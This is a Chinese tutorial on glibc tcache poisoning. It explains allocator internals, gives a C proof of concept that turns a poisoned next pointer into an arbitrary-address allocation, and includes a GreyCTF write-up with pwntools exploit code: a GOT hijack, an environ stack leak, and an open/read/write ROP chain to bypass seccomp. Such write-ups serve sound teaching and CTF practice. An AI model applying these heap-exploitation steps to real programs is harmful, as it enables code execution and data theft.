一文带你理解tcache缓存投毒
字数 1482 2025-08-25 22:59:02
Tcache缓存投毒技术深入解析
1. Tcache基础概念
1.1 Tcache简介
Tcache(Thread Cache)是glibc从2.26版本开始引入的特性,旨在提升内存分配性能:
- 每个线程有自己的缓存,减少线程间互斥和锁竞争
- 默认情况下,大小≤1032字节(0x408)的chunk会被放入tcache
- 每个bin默认可存放7个chunk
1.2 Tcache分配与释放机制
- 分配(malloc):优先检查tcache是否有可用chunk,有则直接返回
- 释放(free):如果chunk大小符合且对应tcache bin未满,放入tcache;否则放入unsorted bin或其他bin
1.3 Tcache数据结构
typedef struct tcache_entry {
struct tcache_entry *next;
} tcache_entry;
typedef struct tcache_perthread_struct {
char counts[TCACHE_MAX_BINS];
tcache_entry *entries[TCACHE_MAX_BINS];
} tcache_perthread_struct;
tcache_perthread_struct:每个线程一个,包含所有tcache入口counts数组:记录每个tcache链的chunk数量entries数组:每个元素是单向链表头节点,下标对应chunk大小((i+1)*16)
内存布局示例:
+----+ +------+ +------+
| 0 | -> | chunk | -> | chunk | -> NULL
+----+ +------+ +------+
| 1 | -> NULL
+----+
| 2 | -> | chunk | -> NULL
+----+ +------+
| .. |
+----+
| n | -> | chunk | -> | chunk | -> | chunk | -> NULL
+----+ +------+ +------+ +------+
2. Tcache Poisoning原理
2.1 基本攻击思路
核心代码示例:
size_t stack_var; // 目标地址
intptr_t *a = malloc(128); // addr: 0x5555555592a0
intptr_t *b = malloc(128); // addr: 0x555555559330
free(a);
free(b);
b[0] = (intptr_t)&stack_var; // tcache poisoning!
intptr_t *c = malloc(128);
assert((long)&stack_var == (long)c); // 获得栈地址读写控制权
2.2 关键步骤分析
-
初始状态:
- 分配两个chunk(a和b)
- 依次释放,进入tcache管理(LIFO顺序)
-
内存布局变化:
tcache_entry[7](2): 0x555555559330 -> 0x5555555592a0 -
修改指针:
- 通过b[0]修改tcache链表中下一个chunk指针
- 修改后布局:
tcache_entry[7](2): 0x555555559330 -> 0x7fffffffe508
-
分配利用:
- 第一次malloc获得b chunk
- 第二次malloc获得伪造的栈地址chunk
2.3 源码层面分析
关键函数:
static void *tcache_get(size_t tc_idx) {
tcache_entry *e = tcache->entries[tc_idx];
tcache->entries[tc_idx] = e->next;
--(tcache->counts[tc_idx]);
return (void *)e;
}
static void tcache_put(mchunkptr chunk, size_t tc_idx) {
tcache_entry *e = (tcache_entry *)chunk2mem(chunk);
e->next = tcache->entries[tc_idx]; // 头插法
tcache->entries[tc_idx] = e;
++(tcache->counts[tc_idx]);
}
关键点:
chunk2mem将chunk指针后移指向用户数据区- 用户数据前8字节被当作
next指针 - 直接修改
next指针可实现任意地址写
3. 实战案例分析:GreyCTF题目
3.1 题目分析
程序功能:
- 输入作者签名
- 设置seccomp(限制系统调用)
- 提供书籍管理功能:
- 添加书籍(最多10本)
- 编辑书籍
- 删除书籍
漏洞点:
write_book:书籍大小计算为输入长度+0x10,但存储时不减0x10rewrite_book:使用完整size读取数据,导致OOB写入
3.2 利用思路
-
准备阶段:
- 分配4个chunk:
- chunk1:泄露heap base + OOB覆盖chunk2
- chunk2:修改chunk3的next指针
- chunk3:通过next指针获得可写内存
- chunk4:填充0x40 tcache
- 分配4个chunk:
-
实施步骤:
- 通过OOB修改chunk2大小实现overlap
- 释放chunk4填充tcache
- 修改chunk2内容覆盖chunk3的next指针
- 泄漏libc基地址
-
绕过seccomp:
- 劫持free@got为puts泄漏信息
- 通过environ泄漏栈地址
- 构造ROP链实现文件操作
3.3 关键EXP代码
# 修改books结构实现任意地址写
edit(1, pwn.flat([
0xff, # size
exe.sym.stdout, # target
0x8, # size
exe.got.free, # target
0x8, # size
exe.sym.secret_msg, # target
0xff, # size
exe.sym.books # target
] + [0]*0x60, filler=b"\x00"))
# 劫持free@got为puts
edit(2, b"".join([pwn.p64(exe.sym.puts)]))
# 泄漏栈地址
edit(4, pwn.flat([
0xff, # size
libc.sym.environ # target
], filler=b"\x00"))
# 构造ROP链
rop = pwn.ROP(libc, base=stackframe_rewrite)
rop(rax=pwn.constants.SYS_open,
rdi=stackframe_rewrite+0xde+2,
rsi=pwn.constants.O_RDONLY)
rop.call(rop.find_gadget(["syscall", "ret"]))
rop(rax=pwn.constants.SYS_read,
rdi=3,
rsi=heap_leak,
rdx=0x100)
rop.call(rop.find_gadget(["syscall", "ret"]))
rop(rax=pwn.constants.SYS_write,
rdi=1,
rsi=heap_leak,
rdx=0x100)
rop.call(rop.find_gadget(["syscall", "ret"]))
rop.exit(0x1337)
rop.raw(b"/flag\x00")
4. 防御措施
-
GLIBC防护:
- 2.29版本引入tcache_key机制
- 增加对tcache_entry->next的完整性检查
-
开发建议:
- 严格校验内存操作边界
- 及时更新GLIBC版本
- 使用安全的内存管理函数
-
检测方法:
- 监控异常的内存地址分配
- 检查tcache链表的完整性
5. 总结
Tcache Poisoning是一种高效的堆利用技术,相比fastbin利用更简单直接。关键点在于:
- 理解tcache的单链表结构
- 控制tcache_entry的next指针
- 通过精心构造的内存布局实现任意地址写
防御此类攻击需要结合系统级防护和代码级安全实践。